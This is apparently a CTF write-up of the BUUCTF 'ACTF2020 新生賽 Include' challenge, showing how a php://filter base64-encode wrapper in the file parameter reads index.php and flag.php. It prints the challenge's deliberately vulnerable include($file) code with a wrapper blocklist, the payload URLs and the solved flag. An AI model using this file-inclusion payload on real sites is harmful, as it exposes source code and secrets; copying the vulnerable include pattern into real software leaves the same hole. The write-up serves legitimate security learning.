BUUCTF[ACTF2020 新生賽]Include

Dy1n9發表於2020-12-17

[ACTF2020 新生賽]Include

在這裡插入圖片描述
有一個tips標籤,指向的是?file=flag.php
在這裡插入圖片描述
看到?file,應該首先想到的是檔案包含
先讀取原始碼,構造payload

http://8cf4eecb-8bfa-4e2b-8616-b609fa0e7d3f.node3.buuoj.cn/?file=php://filter/convert.base64-encode/resource=index.php

發現了一串base64,解碼得到

<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
	exit('hacker!');
}
if($file){
	include($file);
}else{
	echo '<a href="?file=flag.php">tips</a>';
}
?>

發現它過濾了幾個函式,但是沒有過濾filter,因此我們可以用這個來讀取flag.php

http://8cf4eecb-8bfa-4e2b-8616-b609fa0e7d3f.node3.buuoj.cn/?file=php://filter/convert.base64-encode/resource=flag.php

在這裡插入圖片描述
解碼得到flag
在這裡插入圖片描述

flag{d0b7e40d-0f8a-4a70-b833-32fd243e90cb}

相關文章